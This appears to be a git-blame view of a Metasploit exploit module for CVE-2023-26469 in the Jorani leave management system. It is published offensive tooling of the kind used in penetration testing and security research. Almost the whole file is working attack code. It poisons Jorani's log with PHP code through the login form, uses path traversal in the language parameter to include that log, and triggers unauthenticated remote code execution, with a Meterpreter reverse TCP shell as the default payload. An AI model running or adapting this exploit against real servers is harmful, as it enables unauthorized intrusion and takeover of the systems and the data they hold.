Files
metasploit-gs/modules/exploits/multi/php/jorani_path_trav.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

174 lines
5.2 KiB
Ruby
Raw Normal View History

2023-06-19 06:16:07 +02:00
##
2023-06-27 11:23:41 -05:00
# This module requires Metasploit: https://metasploit.com/download
2023-06-19 06:16:07 +02:00
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2023-08-18 15:40:58 -04:00
prepend Msf::Exploit::Remote::AutoCheck
2023-06-19 06:16:07 +02:00
def initialize(info = {})
2023-06-27 16:08:55 +02:00
super(
update_info(
info,
2023-06-27 11:23:41 -05:00
'Name' => 'Jorani unauthenticated Remote Code Execution',
'Description' => %q{
2023-06-27 11:32:44 -05:00
This module exploits an unauthenticated Remote Code Execution in Jorani prior to 1.0.2.
It abuses 3 vulnerabilities: log poisoning and redirection bypass via header spoofing, then it uses path traversal to trigger the vulnerability.
2023-06-27 11:23:41 -05:00
It has been tested on Jorani 1.0.0.
},
'License' => MSF_LICENSE,
'Author' => [
'RIOUX Guilhem (jrjgjk)'
],
'References' => [
['CVE', '2023-26469'],
['URL', 'https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py']
],
'Platform' => %w[php],
'Arch' => ARCH_PHP,
'Targets' => [
['Jorani < 1.0.2', {}]
],
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'RPORT' => 443,
'SSL' => true
},
'DisclosureDate' => '2023-01-06',
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
2023-06-19 06:16:07 +02:00
)
register_options(
2023-06-19 14:31:23 +02:00
[
OptString.new('TARGETURI', [true, 'The base path of Jorani', '/'])
]
)
2023-06-19 06:16:07 +02:00
end
def get_version(res)
2023-08-18 15:33:59 -04:00
footer_text = res.get_html_document.xpath('//div[contains(@id, "footer")]').text
matches = footer_text.scan(/v([0-9.]+)/i)
2023-06-27 11:32:44 -05:00
if matches.nil? || matches[0].nil?
2023-06-19 14:31:23 +02:00
print_error('Cannot recovered Jorani version...')
2023-06-19 06:16:07 +02:00
return nil
end
2023-06-19 14:31:23 +02:00
matches[0][0]
2023-06-19 06:16:07 +02:00
end
2023-06-19 14:31:23 +02:00
def service_running(res)
2023-08-18 15:33:59 -04:00
matches = res.get_html_document.xpath('//head/meta[@description]/@description').text.downcase.scan(/leave management system/)
if matches.nil?
print_error("Jorani doesn't appear to be running on the target")
2023-06-19 06:16:07 +02:00
return false
end
2023-06-19 14:31:23 +02:00
true
2023-06-19 06:16:07 +02:00
end
2023-06-19 14:31:23 +02:00
def recover_csrf(res)
2023-08-18 15:33:59 -04:00
csrf_token = res.get_html_document.xpath('//input[@name="csrf_test_jorani"]/@value').text
return csrf_token if csrf_token.length == 32
2023-06-19 14:31:23 +02:00
2023-06-27 11:32:44 -05:00
nil
2023-06-19 06:16:07 +02:00
end
def check
# For the check command
2023-06-19 14:31:23 +02:00
print_status('Checking Jorani version')
2023-06-19 06:16:07 +02:00
uri = normalize_uri(target_uri.path, 'index.php')
res = send_request_cgi(
'method' => 'GET',
2023-06-19 14:31:23 +02:00
'uri' => "#{uri}/session/login"
2023-06-19 06:16:07 +02:00
)
2023-06-27 16:08:55 +02:00
if res.nil?
return Exploit::CheckCode::Safe('There was a problem accessing the login page')
2023-06-27 16:08:55 +02:00
end
2023-06-19 14:31:23 +02:00
return Exploit::CheckCode::Safe unless service_running(res)
2023-06-19 06:16:07 +02:00
2023-06-27 16:08:55 +02:00
print_good('Jorani seems to be running on the target!')
2023-06-19 06:16:07 +02:00
2023-06-19 14:31:23 +02:00
current_version = get_version(res)
return Exploit::CheckCode::Detected if current_version.nil?
print_good("Found version: #{current_version}")
2023-06-27 16:08:55 +02:00
current_version = Rex::Version.new(current_version)
2023-06-19 14:31:23 +02:00
2023-06-27 11:32:44 -05:00
return Exploit::CheckCode::Appears if current_version < Rex::Version.new('1.0.2')
2023-06-19 14:31:23 +02:00
Exploit::CheckCode::Safe
2023-06-19 06:16:07 +02:00
end
def exploit
# Main function
2023-06-19 14:31:23 +02:00
print_status('Trying to exploit LFI')
2023-06-19 06:16:07 +02:00
2023-06-19 14:31:23 +02:00
path_trav_payload = '../../application/logs'
2023-06-27 16:08:55 +02:00
header_name = Rex::Text.rand_text_alpha_upper(16)
2023-06-19 14:31:23 +02:00
poison_payload = "<?php if(isset($_SERVER['HTTP_#{header_name}'])){ #{payload.encoded} } ?>"
log_file_name = "log-#{Time.now.strftime('%Y-%m-%d')}"
2023-06-19 06:16:07 +02:00
uri = normalize_uri(target_uri.path, 'index.php')
res = send_request_cgi(
2023-06-19 14:31:23 +02:00
'method' => 'GET',
2023-06-19 06:16:07 +02:00
'keep_cookies' => true,
2023-06-19 14:31:23 +02:00
'uri' => "#{uri}/session/login"
2023-06-19 06:16:07 +02:00
)
2023-06-27 16:08:55 +02:00
if res.nil?
print_error('There was a problem accessing the login page')
return
end
2023-06-19 14:31:23 +02:00
print_status('Recovering CSRF token')
csrf_tok = recover_csrf(res)
2023-06-27 11:32:44 -05:00
if csrf_tok.nil?
2023-06-27 16:08:55 +02:00
print_status('CSRF not found, doesn\'t mean its not vulnerable')
2023-06-27 11:32:44 -05:00
else
print_good("CSRF found: #{csrf_tok}")
2023-06-19 06:16:07 +02:00
end
2023-06-27 11:32:44 -05:00
print_status('Poisoning log with payload..')
2023-06-19 14:31:23 +02:00
print_status('Sending 1st payload')
2023-06-19 06:16:07 +02:00
2023-06-19 14:31:23 +02:00
send_request_cgi(
'method' => 'POST',
2023-06-19 06:16:07 +02:00
'keep_cookies' => true,
2023-06-19 14:31:23 +02:00
'uri' => "#{uri}/session/login",
2023-06-27 16:08:55 +02:00
'data' => "csrf_test_jorani=#{csrf_tok}&" \
'last_page=session/login&' \
"language=#{path_trav_payload}&" \
"login=#{Rex::Text.uri_encode(poison_payload)}&" \
"CipheredValue=#{Rex::Text.rand_text_alpha(14)}"
2023-06-19 06:16:07 +02:00
)
2023-06-27 11:32:44 -05:00
print_status("Including poisoned log file #{log_file_name}.php")
2023-08-18 15:37:11 -04:00
vprint_warning('The date on the attacker and victim machine must be the same for the exploit to be successful due to the timestamp on the poisoned log file. Be careful running this exploit around midnight across timezones.')
2023-06-19 14:31:23 +02:00
print_good('Triggering payload')
2023-06-19 06:16:07 +02:00
2023-07-16 05:38:51 +02:00
send_request_cgi(
2023-06-19 14:31:23 +02:00
'method' => 'GET',
2023-06-19 06:16:07 +02:00
'keep_cookies' => true,
2023-06-19 14:31:23 +02:00
'uri' => "#{uri}/pages/view/#{log_file_name}",
'headers' =>
2023-06-19 06:16:07 +02:00
{
2023-06-19 14:31:23 +02:00
'X-REQUESTED-WITH' => 'XMLHttpRequest',
2023-06-27 16:08:55 +02:00
header_name => Rex::Text.rand_text_alpha(14)
2023-06-19 06:16:07 +02:00
}
)
2023-06-19 14:31:23 +02:00
nil
2023-06-19 06:16:07 +02:00
end
end